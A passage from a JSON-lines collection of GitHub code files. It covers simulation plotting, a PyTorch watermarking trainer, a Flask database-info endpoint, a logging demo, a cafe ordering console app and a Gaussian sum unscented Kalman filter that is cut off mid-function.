= np.std(epsxy0,axis=0)\n epsyy = np.average(epsyy0,axis=0)\n depsyy = np.std(epsyy0,axis=0)\n\n plt.figure()\n tvals = dt*np.arange(start,Nsnap-1)\n plt.plot(tvals,epsxx,'-r',label='exx')\n plt.fill_between(tvals, epsxx-depsxx, epsxx+depsxx, color='r', alpha=.2)\n plt.plot(tvals,epsxy,'-g',label='exy')\n plt.fill_between(tvals, epsxy-depsxy, epsxy+depsxy, color='g', alpha=.2)\n plt.plot(tvals,epsyy,'-k',label='eyy')\n plt.fill_between(tvals, epsyy-depsyy, epsyy+depsyy, color='k', alpha=.2)\n plt.xlabel('time')\n plt.ylabel('Total strain from P')\n plt.title('beta ' +betaval[bidx] + ', force ' + fval[fidx])\n plt.legend()\n\n\n# Polarisation tensors\nplotPolarisation = True\ndt = 2\ntenspol = np.zeros((len(betaval),len(fval),5,3))\nmyopol = np.zeros((len(betaval),len(fval),5,3))\nshapepol = np.zeros((len(betaval),len(fval),5,3))\ndtenspol = np.zeros((len(betaval),len(fval),5,3))\ndmyopol = np.zeros((len(betaval),len(fval),5,3))\ndshapepol = np.zeros((len(betaval),len(fval),5,3))\ntimes = [150,200,400,600,800]\ndav=5\nstart = 50\nfor b in range(len(betaval)):\n\tif plotPolarisation:\n\t\tplt.figure()\n\tcolor=plt.cm.nipy_spectral(np.linspace(0,1,len(fval)+1))\n\tfor f,c in zip(range(len(fval)),color):\n\t\tTav = np.average(Tensavg[b,f,:,:,:,:],axis=0)\n\t\tdTav = np.std(Tensavg[b,f,:,:,:,:],axis=0)\n\t\tfor t in range(len(times)):\n\t\t\ttenspol[b,f,t,0] = np.average(Tav[(times[t]-start-dav):(times[t]-start+dav),0,0])\n\t\t\ttenspol[b,f,t,1] = np.average(Tav[(times[t]-start-dav):(times[t]-start+dav),0,1])\n\t\t\ttenspol[b,f,t,2] = np.average(Tav[(times[t]-start-dav):(times[t]-start+dav),1,1])\n\t\t\tdtenspol[b,f,t,0] = np.average(dTav[(times[t]-start-dav):(times[t]-start+dav),0,0])\n\t\t\tdtenspol[b,f,t,1] = np.average(dTav[(times[t]-start-dav):(times[t]-start+dav),0,1])\n\t\t\tdtenspol[b,f,t,2] = np.average(dTav[(times[t]-start-dav):(times[t]-start+dav),1,1])\n\t\tif plotPolarisation:\n\t\t\tplt.plot(tvals,Tav[start:,0,0],'-',color=c,label=fval[f])\n\t\t\tplt.plot(tvals,Tav[start:,0,1],':',color=c)\n\t\t\tplt.plot(tvals,Tav[start:,1,1],'--',color=c)\n\tif plotPolarisation:\n\t\tplt.plot(tvals,0*tvals,'--k',lw=2)\n\t\tplt.xlabel('time')\n\t\tplt.ylabel('Tension tensor')\n\t\tplt.title('Beta =' + betaval[b])\n\t\tplt.legend()\n\t\nfor b in range(len(betaval)):\n\tif plotPolarisation:\n\t\tplt.figure()\n\tcolor=plt.cm.nipy_spectral(np.linspace(0,1,len(fval)+1))\n\tfor f,c in zip(range(len(fval)),color):\n\t\tMav = np.average(Myoavg[b,f,:,:,:,:],axis=0)\n\t\tdMav = np.std(Myoavg[b,f,:,:,:,:],axis=0)\n\t\tfor t in range(len(times)):\n\t\t\tmyopol[b,f,t,0] = np.average(Mav[(times[t]-start-dav):(times[t]-start+dav),0,0])\n\t\t\tmyopol[b,f,t,1] = np.average(Mav[(times[t]-start-dav):(times[t]-start+dav),0,1])\n\t\t\tmyopol[b,f,t,2] = np.average(Mav[(times[t]-start-dav):(times[t]-start+dav),1,1])\n\t\t\tdmyopol[b,f,t,0] = np.average(dMav[(times[t]-start-dav):(times[t]-start+dav),0,0])\n\t\t\tdmyopol[b,f,t,1] = np.average(dMav[(times[t]-start-dav):(times[t]-start+dav),0,1])\n\t\t\tdmyopol[b,f,t,2] = np.average(dMav[(times[t]-start-dav):(times[t]-start+dav),1,1])\n\t\tif plotPolarisation:\n\t\t\tplt.plot(tvals,Mav[start:,0,0],'-',color=c,label=fval[f])\n\t\t\tplt.plot(tvals,Mav[start:,0,1],':',color=c)\n\t\t\tplt.plot(tvals,Mav[start:,1,1],'--',color=c)\n\tif plotPolarisation:\n\t\tplt.plot(tvals,0*tvals,'--k',lw=2)\n\t\tplt.xlabel('time')\n\t\tplt.ylabel('Myosin tensor')\n\t\tplt.title('Beta =' + betaval[b])\n\t\tplt.legend()\n\t\t\nfor b in range(len(betaval)):\n\tif plotPolarisation:\n\t\tplt.figure()\n\tcolor=plt.cm.nipy_spectral(np.linspace(0,1,len(fval)+1))\n\tfor f,c in zip(range(len(fval)),color):\n\t\t#Upol = np.average(Uav[b,f,:,:,:,:],axis=0)\n\t\t#Uav = np.average(Uval[bidx,fidx,:,start:,:,:],axis=0)\n\t\tUpol = np.average(Uval[b,f,:,:,:,:],axis=0)\n\t\tdUpol = np.std(Uval[b,f,:,:,:,:],axis=0)\n\t\tfor t in range(len(times)):\n\t\t\tshapepol[b,f,t,0] = np.average(Upol[(times[t]-start-dav):(times[t]-start+dav),0,0])\n\t\t\tshapepol[b,f,t,1] = np.average(Upol[(times[t]-start-dav):(times[t]-start+dav),0,1])\n\t\t\tshapepol[b,f,t,2] = np.average(Upol[(times[t]-start-dav):(times[t]-start+dav),1,1])\n\t\t\tdshapepol[b,f,t,0] = np.average(dUpol[(times[t]-start-dav):(times[t]-start+dav),0,0])\n\t\t\tdshapepol[b,f,t,1] = np.average(dUpol[(times[t]-start-dav):(times[t]-start+dav),0,1])\n\t\t\tdshapepol[b,f,t,2] = np.average(dUpol[(times[t]-start-dav):(times[t]-start+dav),1,1])\n\t\tif plotPolarisation:\n\t\t\tplt.plot(tvals,Upol[start:,0,0],'-',color=c,label=fval[f])\n\t\t\tplt.plot(tvals,Upol[start:,0,1],':',color=c)\n\t\t\tplt.plot(tvals,Upol[start:,1,1],'--',color=c)\n\tif plotPolarisation:\n\t\tplt.plot(tvals,0*tvals,'--k',lw=2)\n\t\tplt.xlabel('time')\n\t\tplt.ylabel('Shape tensor')\n\t\tplt.title('Beta =' + betaval[b])\n\t\tplt.legend()\n\t\t\n\n# A single summary figure at beta = 0.5 ...\nbidx = 0\nplt.figure()\nplt.errorbar(fs,myopol[bidx,:,2,0],dmyopol[bidx,:,2,0],marker='o',linestyle='-',color='g',label='myosin')\nplt.errorbar(fs,myopol[bidx,:,2,2],dmyopol[bidx,:,2,2],marker='x',linestyle='--',color='g')\nplt.errorbar(fs,tenspol[bidx,:,2,0],dtenspol[bidx,:,2,0],marker='o',linestyle='-',color='r',label='stress')\nplt.errorbar(fs,tenspol[bidx,:,2,2],dtenspol[bidx,:,2,2],marker='x',linestyle='--',color='r')\nplt.errorbar(fs,shapepol[bidx,:,2,0],dshapepol[bidx,:,2,0],marker='o',linestyle='-',color='k',label='shape')\nplt.errorbar(fs,shapepol[bidx,:,2,2],dshapepol[bidx,:,2,2],marker='x',linestyle='--',color='k')\nplt.xlabel('pulling force')\nplt.ylabel('polarisation (xx,yy)')\nplt.title('Polarisations at time 700, beta = ' + betaval[bidx])\nplt.legend()\n\n\n\n\n\n\nplt.show()\n\n","repo_name":"sknepneklab/ActiveJunctionModel","sub_path":"eLife/Figure7/Panel_B/plot_patch_statistics.py","file_name":"plot_patch_statistics.py","file_ext":"py","file_size_in_byte":20776,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"23479857690","text":"import os\nimport glob\nimport numpy as np\n\nimport torch\nfrom torchvision import transforms\nfrom PIL import Image\n\nimport nets\nimport utils\nfrom options import Options\n\nfrom barbar import Bar\n\nclass MyDataset(torch.utils.data.Dataset):\n def __init__(self, image_paths, target_paths, image_transform=None, message_transform=None, train=True):\n self.image_paths = glob.glob(image_paths)\n self.target_paths = glob.glob(target_paths)\n self.image_transform = image_transform\n self.message_transform = message_transform\n\n def __getitem__(self, index):\n image = Image.open(self.image_paths[index])\n message = Image.open(self.target_paths[index])\n \n if self.image_transform:\n image = self.image_transform(image)\n if self.message_transform:\n message = self.message_transform(message)\n\n image = transforms.ToTensor()(image)\n message = transforms.ToTensor()(message)\n\n return image, message\n\n def __len__(self):\n return len(self.image_paths)\n\ndef main():\n # Print PyTorch Version\n print('\\nUsing PyTorch Version:------>', torch.__version__)\n\n # figure out the experiments type\n args = Options().parse()\n if args.subcommand is None:\n raise ValueError(\"ERROR: specify the experiment type\")\n if args.cuda and not torch.cuda.is_available():\n raise ValueError(\"ERROR: cuda is not available, try running on CPU\")\n\n elif args.subcommand == 'train':\n # Train watermarking network\n train(args)\n\n else:\n raise ValueError('Unknown experiment type')\n\ndef train(args):\n check_paths(args)\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n if args.cuda:\n torch.cuda.manual_seed(args.seed)\n\n # construct data loader\n dataset = MyDataset(args.image_path, args.message_path)\n loader = torch.utils.data.DataLoader(dataset, batch_size=args.batch_size, num_workers=4, pin_memory=True, drop_last=False)\n\n # construct neural networks\n encoder = nets.CSFE()\n decoder = nets.CSFD()\n if args.cuda:\n encoder.cuda()\n decoder.cuda()\n\n # construct optimizer\n params = list(encoder.parameters())+list(decoder.parameters())\n optimizer = torch.optim.Adam(params, lr=args.lr, betas=(0.9, 0.999), eps=1e-08, weight_decay=0, amsgrad=False)\n\n # define loss\n l2 = torch.nn.MSELoss()\n\n # training loop\n for e in range(args.epochs):\n \n for img, code in Bar(loader):\n\n # encode image and code\n enc = encoder(img, code)\n\n # channel\n #nothing for now\n\n # decode encoded image\n output = decoder(enc)\n\n # calculate loss\n ber_loss = l2(output, code)\n img_loss = l2(enc, img)\n total_loss = ber_loss + img_loss\n\n # occasionally print\n #print(total_loss)\n\n #backprop\n optimizer.zero_grad()\n total_loss.backward()\n optimizer.step()\n\n # save trained model\n\ndef check_paths(args):\n try:\n if not os.path.exists(args.save_model_dir):\n os.makedirs(args.save_model_dir)\n except OSError as e:\n print(e)\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()","repo_name":"mathski/deep-fingerprints","sub_path":"pytorch13/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"17643913286","text":"from datetime import datetime, timedelta\n\nfrom flask import Blueprint, session, request, jsonify, make_response\nfrom flask_login import login_required, current_user\n\nfrom controllers.databases import get_user_database\nfrom controllers.metabase import create_metabase_session\nfrom utils.app import app\n\ndatabases = Blueprint('databases', __name__)\n\n@databases.route('/api/databases/mine')\n@login_required\ndef get_my_database():\n\n\n user_database = get_user_database(current_user, 'localhost' in request.host)\n metabase_session = create_metabase_session(current_user)\n\n host = request.host\n\n resp = make_response(jsonify({\n 'host': user_database.host,\n 'port': user_database.port,\n 'username': user_database.username,\n 'password': user_database.password,\n 'name': user_database.database\n }))\n\n exp = datetime.now() + timedelta(days=31)\n if 'localhost' in request.host:\n resp.set_cookie('metabase.SESSION', value=metabase_session, expires=exp)\n else:\n resp.set_cookie('metabase.SESSION', value=metabase_session, expires=exp, domain='.'+app.config['DOMAIN_BASE'])\n return resp\n","repo_name":"belvinlabs/proost-app","sub_path":"server/src/views/databases.py","file_name":"databases.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"10078229196","text":"import logging\nimport os\nfrom logging import handlers\nimport time\n\n#创建一个logger日志对象\nlogger = logging.getLogger('test_logger')\nlogger.setLevel(logging.DEBUG) #设置默认的日志级别\n\n#创建日志格式对象\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n#创建TimedRotatingFileHandler对象\nrh = handlers.TimedRotatingFileHandler('test.log', when='S', interval=3, backupCount=5)\n#TimedRotatingFileHandler对象自定义日志级别\n\nrh.setLevel(logging.DEBUG)\n#TimedRotatingFileHandler对象自定义日志级别\nrh.suffix = \"%Y_%m_%d_%H_%M_%S.log\"\n#TimedRotatingFileHandler对象自定义日志格式\nrh.setFormatter(formatter)\n\nlogger.addHandler(rh) #logger日志对象加载TimedRotatingFileHandler对象\n#日志输出\nlogger.info('newdream')\ntime.sleep(3)\n\n\nlogger.info('newdream')\ntime.sleep(3)\nlogger.info('newdream')\ntime.sleep(3)\n","repo_name":"xiaochun01/pajk","sub_path":"samples/demo03.py","file_name":"demo03.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11164018109","text":"import time\nfrom prompt_toolkit import print_formatted_text, HTML\nfrom Functions import read_csv_file, save_list, append_dict, update_dict, delete_index, enumerate_orders, whitespace\nfrom Functions import read_courier_from_db, read_product_from_db, write_into_product_db, write_into_courier_db, delete_product_from_db, delete_courier_from_db, change_into_product_db, change_into_courier_db\n\n\norder_list = []\nproduct_list = []\ncourier_list = []\norder_status = ['Preparing', 'Quality checks',\n 'Driver on the way', 'Delivered']\n\norder_list = read_csv_file('Order_list.csv', order_list)\nproduct_list = read_csv_file('Product_list.csv', product_list)\ncourier_list = read_csv_file('Courier_list.csv', courier_list)\n\n\ndef greetings():\n\n print_formatted_text(\n HTML('''\\n\\tVERY\\n\\t'''))\n time.sleep(0.5)\n print_formatted_text(\n HTML('''\\n\\t VERY\\n\\t'''))\n time.sleep(0.5)\n print_formatted_text(\n HTML('''\\n\\t NICE...\\n\\t'''))\n time.sleep(1.5)\n print_formatted_text(\n HTML('''\\n\\tONE\\n\\t'''))\n time.sleep(0.5)\n print_formatted_text(\n HTML('''\\n\\t POUND\\n\\t'''))\n time.sleep(0.5)\n print_formatted_text(\n HTML('''\\n\\t FISH...\\n\\t'''))\n time.sleep(0.5)\n print_formatted_text(\n HTML('''\\n\\t CAFE\\n\\t'''))\n time.sleep(2.0)\n\n\ndef main():\n greetings()\n print_formatted_text(\n HTML('\\n\\tMain Menu'))\n print(\"\"\"\n [0] - To Save And Exit\n [1] - Product Options\n [2] - Courier Options\n [3] - Order Options\"\"\")\n\n option = int(input(\"\"\"\\n\\tEnter your choice here: \"\"\"))\n\n if option == 0:\n save_list('Order_list.csv', order_list)\n save_list('Product_list.csv', product_list)\n save_list('Courier_list.csv', courier_list)\n\n print_formatted_text(\n HTML('\\n\\tGoodbye'))\n exit()\n\n elif option == 1:\n whitespace()\n product()\n\n elif option == 2:\n whitespace()\n courier()\n\n elif option == 3:\n whitespace()\n order()\n\n else:\n print_formatted_text(\n HTML('\\n\\tInvalid Input, Please Try Again'))\n whitespace()\n main()\n\n\ndef product():\n print_formatted_text(\n HTML('\\n\\tProduct options'))\n print('''\n [0]: To Return To The Main Menu\n [1]: To View Beverage List\n [2]: To Add A Beverage To The Beverage List\n [3]: To Alter A Beverage\n [4]: To Delete A Beverage''')\n\n user_input = int(input('\\n\\tSelect from the options above: '))\n whitespace()\n\n if user_input == 0:\n main()\n\n elif user_input == 1:\n print_formatted_text(\n HTML(\"\\n\\tBeverage List\"))\n read_product_from_db()\n whitespace()\n product()\n\n elif user_input == 2:\n print_formatted_text(\n HTML(\"\\n\\tBeverage List\"))\n read_product_from_db()\n new_product = input('\\n\\tPlease Add A New Beverage To The List: ')\n new_price = float(input('\\n\\tPlease Enter Desired Price: '))\n write_into_product_db(new_product, new_price)\n whitespace()\n print_formatted_text(\n HTML(\"\\n\\tBeverage List\"))\n read_product_from_db()\n print_formatted_text(HTML(\n \"\\n\\tYou've Added A Beverage To The List\"))\n whitespace()\n product()\n\n elif user_input == 3: # Check if input can be change to int & float\n print_formatted_text(\n HTML('\\n\\tBeverage List'))\n read_product_from_db()\n\n product_id = input('\\n\\tChoose Product ID: ')\n product_name = input('\\n\\tChoose A Product Name: ')\n product_price = input('\\n\\tChoose A Product Price: ')\n\n change_into_product_db(product_name, product_price, product_id)\n\n whitespace()\n print_formatted_text(\n HTML(\"\\n\\tBeverage List\"))\n read_product_from_db()\n print_formatted_text(\n HTML(\"\\n\\tBeverage List Updated\"))\n whitespace()\n product()\n\n elif user_input == 4:\n print_formatted_text(\n HTML('\\n\\tBeverage List'))\n read_product_from_db()\n\n deleted_input = int(\n input('\\n\\tSelect A Beverage To Be Deleted: '))\n delete_product_from_db(deleted_input)\n whitespace()\n print_formatted_text(\n HTML('\\n\\tBeverage List'))\n read_product_from_db()\n print_formatted_text(\n HTML(\"\\n\\tBeverage Has Been Deleted\"))\n whitespace()\n product()\n\n else:\n whitespace()\n print_formatted_text(\n HTML('\\n\\tInvalid Input, Please Try Again'))\n whitespace()\n product()\n\n\ndef courier():\n print_formatted_text(\n HTML('\\n\\tCourier Menu'))\n print('''\n [0]: To Return To The Main Menu\n [1]: To View The Current Courier List\n [2]: To Add A Courier To The Courier List\n [3]: To Alter A Courier\n [4]: To Delete A Courier''')\n\n user_input = int(input('\\n\\tSelect From The Options Above: '))\n whitespace()\n\n if user_input == 0:\n main()\n\n elif user_input == 1:\n print_formatted_text(\n HTML(\"\\n\\tCourier List\"))\n read_courier_from_db()\n whitespace()\n courier()\n\n elif user_input == 2:\n print_formatted_text(\n HTML(\"\\n\\tCourier List\"))\n read_courier_from_db()\n courier_name = input('\\n\\tPlease Add A New Courier : ')\n courier_phone = input('\\n\\tPlease Enter A Phone Number: ')\n write_into_courier_db(courier_name, courier_phone)\n whitespace()\n print_formatted_text(\n HTML(\"\\n\\tCourier List\"))\n read_courier_from_db()\n print_formatted_text(HTML(\n \"\\n\\tYou've Added A Courier To The List\"))\n whitespace()\n courier()\n\n elif user_input == 3: # See if you can put int & float\n print_formatted_text(\n HTML(\"\\n\\tCourier List\"))\n read_courier_from_db()\n\n courier_ID = input('\\n\\tChoose A Courier ID: ')\n courier_name = input('\\n\\tChoose A New Courier Name: ')\n courier_number = input('\\n\\tChoose A New Courier Number: ')\n\n change_into_courier_db(courier_name, courier_number, courier_ID)\n\n whitespace()\n print_formatted_text(\n HTML(\"\\n\\tCourier List\"))\n read_courier_from_db()\n print_formatted_text(HTML(\n \"\\n\\tCourier List Updated\"))\n whitespace()\n courier()\n\n elif user_input == 4:\n print_formatted_text(\n HTML(\"\\n\\tCourier List\"))\n read_courier_from_db()\n deleted_input = int(\n input('\\n\\tSelect A Courier To Be Deleted: '))\n delete_courier_from_db(deleted_input)\n whitespace()\n print_formatted_text(\n HTML(\"\\n\\tCourier List\"))\n read_courier_from_db()\n print_formatted_text(HTML(\n \"\\n\\tCourier Has Been Deleted\"))\n whitespace()\n courier()\n\n else:\n whitespace()\n print_formatted_text(\n HTML('\\n\\tInvalid Input, Please Try Again'))\n whitespace()\n courier()\n\n\ndef order():\n print_formatted_text(\n HTML('\\n\\tCourier Menu'))\n print('''\n [0]: To Return To The Main Menu\n [1]: To View The Order List\n [2]: To Add An Order To The List\n [3]: To Update Order Status\n [4]: To Update Existing Order\n [5]: To Delete An Order''')\n\n user_input = int(input('\\n\\tSelect From The Options Above: '))\n whitespace()\n\n if user_input == 0:\n main()\n\n elif user_input == 1:\n print_formatted_text(\n HTML(\"\\n\\tOrder List\\n\\t\"))\n\n for key, value in enumerate(order_list):\n print(f'Order Number - {key}{value}\\n\\t')\n whitespace()\n order()\n\n elif user_input == 2:\n print_formatted_text(\n HTML(\"\\n\\tInsert Customer Information\\n\\t\"))\n\n customer_name = input('\\n\\tPlease Enter Your Name: ')\n customer_address = input('\\n\\tPlease Enter Your Address: ')\n customer_phone_number = int(\n input('\\n\\tPlease Enter A Phone Number: '))\n\n whitespace()\n\n enumerate_orders(product_list)\n product_choice = input(\n '\\n\\tWhich Product Do You Want Added To Your Order: ')\n whitespace()\n enumerate_orders(courier_list)\n courier_choice = int(\n input('\\n\\tPlease Choose A Courier To Deliver Your Order: '))\n\n new_dict = {}\n new_dict['Customer name'] = customer_name\n new_dict['Customer address'] = customer_address\n new_dict['Customer phone'] = customer_phone_number\n new_dict['Courier'] = courier_choice\n new_dict['Status'] = order_status[0]\n new_dict['Items'] = product_choice\n\n headers = ['Customer name', 'Customer address',\n 'Customer phone', 'Courier', 'Status', 'Items']\n\n append_dict('Order_list.csv', new_dict, headers)\n\n print_formatted_text(\n HTML(\"\\n\\tYou've Added An Order\\n\\t\"))\n print_formatted_text(\n HTML(\"\\n\\tNew Order\"))\n print(new_dict)\n\n whitespace()\n order()\n\n elif user_input == 3:\n print_formatted_text(\n HTML(\"\\n\\tOrder List\\n\\t\"))\n\n for key, value in enumerate(order_list):\n print(f'Order Number - {key}{value}\\n\\t')\n\n order_input = int(\n input('\\n\\tChoose An Order To Update: '))\n whitespace()\n enumerate_orders(order_status)\n status_input = int(input('\\n\\tChoose Status To Update: '))\n\n new_variable = order_list[order_input]\n new_variable['Status'] = order_status[status_input]\n\n print_formatted_text(\n HTML(\"\\n\\tOrder Status Updated\\n\\t\"))\n print_formatted_text(\n HTML(\"\\n\\tUpdated Order\"))\n print(new_variable)\n\n whitespace()\n order()\n\n elif user_input == 4:\n print_formatted_text(\n HTML(\"\\n\\tOrder List\\n\\t\"))\n\n for key, value in enumerate(order_list):\n print(f'Order Number - {key}{value}\\n\\t')\n select_order = int(input('\\n\\tChoose An Order: '))\n\n chosen_order = order_list[select_order]\n\n update_dict(chosen_order)\n whitespace()\n print_formatted_text(\n HTML(\"\\n\\tOrder List\"))\n for key, value in enumerate(order_list):\n print(f'Order Number - {key}{value}\\n\\t')\n print_formatted_text(\n HTML(\"\\n\\tUpdated The Order\"))\n whitespace()\n order()\n\n elif user_input == 5:\n print_formatted_text(\n HTML(\"\\n\\tOrder List\\n\\t\"))\n for key, value in enumerate(order_list):\n print(f'Order Number - {key}{value}\\n\\t')\n\n deleted_input = int(\n input('\\n\\tSelect An Order To Delete: '))\n\n delete_index(order_list, deleted_input)\n\n print_formatted_text(\n HTML(\"\\n\\tOrder List\\n\\t\"))\n for key, value in enumerate(order_list):\n print(f'Order Number - {key}{value}\\n\\t')\n print_formatted_text(\n HTML(\"\\n\\tOrder Deleted\"))\n\n whitespace()\n\n order()\n else:\n print('Invalid selection')\n whitespace()\n order()\n\n\nmain()\n","repo_name":"TheRoyalMoroccan/Cafe-Software-Application-Project","sub_path":"Version5.py","file_name":"Version5.py","file_ext":"py","file_size_in_byte":12973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73396260997","text":"import numpy\nimport cupy\nimport numba\nimport numba.cuda as cuda\nimport torch\nimport torch.utils.dlpack as torch_dlpack\n\n\nclass GaussianSumUnscentedKalmanFilter:\n \"\"\"Gaussian Sum Unscented Kalman Filter class implemented to run on the CPU.\n\n It contains methods that allow the use to perform\n predictions, updates, and resampling.\n\n Parameters\n ----------\n f : callable\n The state transition function :math:` x_{k+1} += f(x_k, u_k) `\n\n g : callable\n The state observation function :math:` y_k = g(x_k, u_k) `\n\n N_particles : int\n The number of particles\n\n x0 : gpu_funcs.MultivariateGaussianSum\n The initial distribution.\n Represented as a Gaussian sum\n\n state_pdf, measurement_pdf : gpu_funcs.MultivariateGaussianSum\n Distributions for the state and measurement noise.\n Represented as Gaussian sums\n\n Attributes\n -----------\n means : numpy.array\n An (N_particles x Nx) array of the particles\n\n covariances : numpy.array\n An (N_particles x Nx x Nx) array of covariances of the particles\n\n weights : numpy.array\n A (N_particles) array containing the weights of the particles\n \"\"\"\n def __init__(self, f, g, N_particles, x0, state_pdf, measurement_pdf):\n self.f = f\n self.g = g\n self.N_particles = int(N_particles)\n\n self.means = x0.draw(N_particles)\n\n self.covariances = numpy.repeat(state_pdf.covariances[0][None, :, :], N_particles, axis=0)\n\n self.weights = numpy.full(N_particles, 1 / N_particles, dtype=numpy.float32)\n\n self.state_pdf = state_pdf\n self.measurement_pdf = measurement_pdf\n\n self._Nx = self.means.shape[1]\n self._Ny = measurement_pdf.draw().shape[1]\n self._N_sigmas = 2 * self._Nx + 1\n\n # weights calculated such that:\n # 1) w_mu + 2*n*w_sigma = 1\n # 2) w_mu / w_sigma = 0.4 / 0.25 ~ Normal_pdf(0) / Normal_pdf(sigma)\n self._w_sigma = numpy.full(self._N_sigmas, 1 / (2 * self._Nx + 8 / 5), dtype=numpy.float32)\n self._w_sigma[0] = 1 / (1 + 5 / 4 * self._Nx)\n\n def _get_sigma_points(self):\n \"\"\"Return the sigma points for the current particles\n \"\"\"\n try:\n stds = numpy.linalg.cholesky(self.covariances).swapaxes(1, 2)\n except numpy.linalg.LinAlgError:\n stds = numpy.linalg.cholesky(self.covariances + 1e-10 * numpy.eye(self._Nx)).swapaxes(1, 2)\n sigmas = numpy.repeat(self.means[:, None, :], self._N_sigmas, axis=1)\n sigmas[:, 1:self._Nx + 1, :] += stds\n sigmas[:, self._Nx + 1:, :] -= stds\n\n return sigmas\n\n def predict(self, u, dt):\n \"\"\"Performs a prediction step on the particles\n\n Parameters\n ----------\n u : numpy.array\n A (N_inputs) array of the current inputs\n\n dt : float\n The time step since the previous prediction\n \"\"\"\n sigmas = self._get_sigma_points()\n\n # Move the sigma points through the state transition function\n for gaussian in range(self.N_particles):\n for sigma in range(self._N_sigmas):\n sigmas[gaussian, sigma] += self.f(sigmas[gaussian, sigma], u, dt)\n sigmas += self.state_pdf.draw((self.N_particles, self._N_sigmas))\n\n self.means = numpy.average(sigmas, axis=1, weights=self._w_sigma)\n sigmas -= self.means[:, None, :]\n self.covariances = sigmas.swapaxes(1, 2) @ (sigmas * self._w_sigma[:, None])\n\n def update(self, u, z):\n \"\"\"Performs an update step on the particles\n\n Parameters\n ----------\n u : numpy.array\n A (N_inputs) array of the current inputs\n\n z : numpy.array\n A (N_outputs) array of the current measured outputs\n \"\"\"\n # Local Update\n sigmas = self._get_sigma_points()\n etas = numpy.zeros((self.N_particles, self._N_sigmas, self._Ny))\n\n # Move the sigma points through the state observation function\n for gaussian in range(self.N_particles):\n for sigma in range(self._N_sigmas):\n etas[gaussian, sigma] = self.g(sigmas[gaussian, sigma], u)\n\n # Compute the Kalman gain\n eta_means = numpy.average(etas, axis=1, weights=self._w_sigma)\n sigmas -= self.means[:, None, :]\n etas -= eta_means[:, None, :]\n\n P_xys = sigmas.swapaxes(1, 2) @ (etas * self._w_sigma[:, None])\n P_yys = etas.swapaxes(1, 2) @ (etas * self._w_sigma[:, None])\n P_yy_invs = numpy.linalg.pinv(P_yys)\n Ks = P_xys @ P_yy_invs\n\n # Use the gain to update the means and covariances\n es = z - eta_means\n self.means += (Ks @ es[:, :, None]).squeeze()\n # Dimensions from paper do not work, use corrected version\n self.covariances -= Ks @ P_yys @ Ks.swapaxes(1, 2)\n\n # Global Update\n y_means = numpy.zeros((self.N_particles, self._Ny))\n\n # Move the means through the state observation function\n for gaussian in range(self.N_particles):\n y_means[gaussian] = self.g(self.means[gaussian], u)\n\n glob_es = z - y_means\n self.weights *= self.measurement_pdf.pdf(glob_es)\n\n def resample(self):\n \"\"\"Performs a systematic resample of the particles\n based on the weights of the particles\n \"\"\"\n cumsum = numpy.cumsum(self.weights)\n cumsum /= cumsum[-1]\n\n sample_index_result = numpy.zeros(self.N_particles, dtype=numpy.int64)\n r = numpy.random.rand()\n k = 0\n\n for i in range(self.N_particles):\n u = (i + r) / self.N_particles\n while cumsum[k] < u:\n k += 1\n sample_index_result[i] = k\n\n self.means = self.means[sample_index_result]\n self.covariances = self.covariances[sample_index_result]\n self.weights = numpy.full(self.N_particles, 1 / self.N_particles)\n\n def point_estimate(self):\n \"\"\"Returns the point estimate of the filter\"\"\"\n return self.weights @ self.means\n\n def point_covariance(self):\n \"\"\"Returns the maximum singular value of the filter's covariance\"\"\"\n cov_cov = numpy.sum(self.weights[:, None, None] * self.covariances, axis=0)\n dist = self.means - (self.weights @ self.means)\n cov_mean = dist.T @ (dist * self.weights[:, None])\n cov = cov_cov + cov_mean\n s = numpy.linalg.svd(cov, compute_uv=False)\n return s[0]\n\n\nclass ParallelGaussianSumUnscentedKalmanFilter(GaussianSumUnscentedKalmanFilter):\n \"\"\"Gaussian Sum Unscented Kalman Filter class implemented to run on the GPU.\n\n It contains methods that allow the use to perform\n predictions, updates, and resampling.\n\n Parameters\n ----------\n f : callable\n The state transition function :math:` x_{k+1} += f(x_k, u_k) `\n\n g : callable\n The state observation function :math:` y_k = g(x_k, u_k) `\n\n N_particles : int\n The number of particles\n\n x0 : gpu_funcs.MultivariateGaussianSum\n The initial distribution.\n Represented as a Gaussian sum\n\n state_pdf, measurement_pdf : gpu_funcs.MultivariateGaussianSum\n Distributions for the state and measurement noise.\n Represented as Gaussian sums\n\n Attributes\n -----------\n means : cupy.array\n An (N_particles x Nx) array of the particles\n\n covariances : cupy.array\n An (N_particles x Nx x Nx) array of covariances of the particles\n\n weights : cupy.array\n A (N_particles) array containing the weights of the particles\n \"\"\"\n\n def __init__(self, f, g, N_particles, x0, state_pdf, measurement_pdf):\n super().__init__(f, g, N_particles, x0, state_pdf, measurement_pdf)\n\n self.f_vectorize = self.__f_vec()\n self.g_vectorize = self.__g_vec()\n\n # Move the data to the GPU\n self.means = cupy.asarray(self.means)\n self.covariances = cupy.asarray(self.covariances)\n self.weights = cupy.asarray(self.weights)\n self._w_sigma = cupy.asarray(self._w_sigma)\n\n self._threads_per_block = self._tpb = 1024\n self._blocks_per_grid = self._bpg = (self.N_particles - 1) // self._threads_per_block + 1\n\n self._y_dummy = cupy.zeros(\n self.measurement_pdf.draw().shape[1],\n dtype=cupy.float32\n )\n\n def __f_vec(self):\n \"\"\"Vectorizes the state transition function to run on the GPU\n \"\"\"\n f_jit = cuda.jit(device=True)(self.f)\n\n @numba.guvectorize(['void(f4[:], i4[:], i4, f4[:])',\n 'void(f4[:], i8[:], i8, f4[:])',\n 'void(f4[:], f4[:], f4, f4[:])',\n 'void(f4[:], f8[:], f8, f4[:])'],\n '(n), (m), () -> (n)', target='cuda')\n def f_vec(x, u, dt, _x_out):\n ans = f_jit(x, u, dt)\n for i in 